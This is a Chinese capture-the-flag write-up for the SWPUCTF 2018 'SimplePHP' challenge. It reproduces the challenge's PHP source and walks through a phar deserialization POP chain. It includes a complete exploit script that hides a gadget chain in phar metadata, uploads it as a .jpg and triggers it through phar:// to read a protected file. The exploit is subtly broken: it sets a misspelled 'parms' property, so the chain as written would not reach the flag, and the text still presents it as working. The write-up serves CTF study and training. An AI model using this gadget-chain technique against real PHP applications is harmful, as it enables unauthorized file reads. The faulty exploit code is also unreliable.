[SWPUCTF 2018]SimplePHP

知识点

1.PHP反序列化入门之phar

2.反序列化魔术方法

__construct()//当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__toString() //当一个对象被当作一个字符串使用

__sleep()//在对象在被序列化之前运行

__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)

__get()//获得一个类的成员变量时调用

__set()//设置一个类的成员变量时调用

__invoke()//调用函数的方式调用一个对象时的回应方法

__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

题解

打开题目后，常规性试探一波，发现“查看文件”时，出现了?file=，应该是存在文件包含了

得到file.php、function.php、class.php、base.php源码

file.php

<?php

header("content-type:text/html;charset=utf-8");

include 'function.php';

include 'class.php';

ini_set('open_basedir','/var/www/html/');

$file = $_GET["file"] ? $_GET['file'] : "";

if(empty($file)) {

    echo "<h2>There is no file to show!<h2/>";

}

$show = new Show();

if(file_exists($file)) {

    $show->source = $file;

    $show->_show();

} else if (!empty($file)){

    die('file doesn\'t exists.');

}

?>

function.php

<?php

//show_source(__FILE__);

include "base.php";

header("Content-type: text/html;charset=utf-8");

error_reporting(0);

function upload_file_do() {

    global $_FILES;

    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

    //mkdir("upload",0777);

    if(file_exists("upload/" . $filename)) {

        unlink($filename);

    }

    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);

    echo '<script type="text/javascript">alert("上传成功!");</script>';

}

function upload_file() {

    global $_FILES;

    if(upload_file_check()) {

        upload_file_do();

    }

}

function upload_file_check() {

    global $_FILES;

    $allowed_types = array("gif","jpeg","jpg","png");

    $temp = explode(".",$_FILES["file"]["name"]);

    $extension = end($temp);

    if(empty($extension)) {

        //echo "<h4>请选择上传的文件:" . "<h4/>";

    }

    else{

        if(in_array($extension,$allowed_types)) {

            return true;

        }

        else {

            echo '<script type="text/javascript">alert("Invalid file!");</script>';

            return false;

        }

    }

}

?>

class.php

 <?php

class C1e4r

{

    public $test;

    public $str;

    public function __construct($name)

    {

        $this->str = $name;

    }

    public function __destruct()

    {

        $this->test = $this->str;

        echo $this->test;

    }

}

class Show

{

    public $source;

    public $str;

    public function __construct($file)

    {

        $this->source = $file;   //$this->source = phar://phar.jpg

        echo $this->source;

    }

    public function __toString()

    {

        $content = $this->str['str']->source;

        return $content;

    }

    public function __set($key,$value)

    {

        $this->$key = $value;

    }

    public function _show()

    {

        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {

            die('hacker!');

        } else {

            highlight_file($this->source);

        }

    }

    public function __wakeup()

    {

        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {

            echo "hacker~";

            $this->source = "index.php";

        }

    }

}

class Test

{

    public $file;

    public $params;

    public function __construct()

    {

        $this->params = array();

    }

    public function __get($key)

    {

        return $this->get($key);

    }

    public function get($key)

    {

        if(isset($this->params[$key])) {

            $value = $this->params[$key];

        } else {

            $value = "index.php";

        }

        return $this->file_get($value);

    }

    public function file_get($value)

    {

        $text = base64_encode(file_get_contents($value));

        return $text;

    }

}

?>

base.php

<?php

    session_start();

?>

<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <title>web3</title>

    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">

    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>

    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>

    <nav class="navbar navbar-default" role="navigation">

        <div class="container-fluid">

        <div class="navbar-header">

            <a class="navbar-brand" href="index.php">首页</a>

        </div>

            <ul class="nav navbar-nav navbra-toggle">

                <li class="active"><a href="file.php?file=">查看文件</a></li>

                <li><a href="upload_file.php">上传文件</a></li>

            </ul>

            <ul class="nav navbar-nav navbar-right">

                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>

            </ul>

        </div>

    </nav>

</body>

</html>

<!--flag is in f1ag.php-->

从以上源码中我们可以得到如下信息：

1.flag在f1ag.php中但是“f1ag”被过滤了

2.上传的文件类型采用白名单

3.所有源代码均没有出现unserialize()，所以不能采用常规反序列化。同时有注释出现了phar，且phar协议没被过滤，所以这题是PHP反序列化中的phar反序列化。

一步步解析

Show类

public function __toString()

    {

        $content = $this->str['str']->source;

        return $content;

    }

要触发__toString()我们需要当一个对象被当作一个字符串使用

同时

$content = $this->str['str']->source;

获得一个类的成员变量时调用get()

C1e4r类

public function __destruct()

    {

        $this->test = $this->str;

        echo $this->test;

    }

在destruct()中存在echo能输出字符串来触发toString()

Test类

public function __get($key)

    {

        return $this->get($key);

    }

利用__get()触发file_get()最终触发file_get_contents()

梳理清楚pop链，构造exp:

<?php

class C1e4r

{

    public $test;

    public $str;

}

class Show

{

    public $source;

    public $str;

}

class Test

{

    public $file;

    public $params;

}

$clear = new C1e4r();

$show = new Show();

$test = new Test();

$test->parms['source'] ="/var/www/html/f1ag.php";

$clear->str = $show; //利用$this->test = $this->str；echo $this->test；

$show->str['str'] = $test; //利用$this->str['str']->source;

$phar = new Phar("rabbit.phar"); //.phar文件

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($clear); //触发的头是C1e4r类，所以传入C1e4r对象

$phar->addFromString("test.txt", "test"); //生成签名

$phar->stopBuffering();

?>

在本地环境中生成phar文件(自己电脑也不知道什么问题一直生成不了，用学长的电脑就行)

本题没有对upload目录做处理可以直接访问，获取上传的文件名

回到file.php页面

file.php/?file=phar://upload/xxxxxxxxxxxxxxxxxxx.jpg

得到base64加密内容

base64解密得到flag.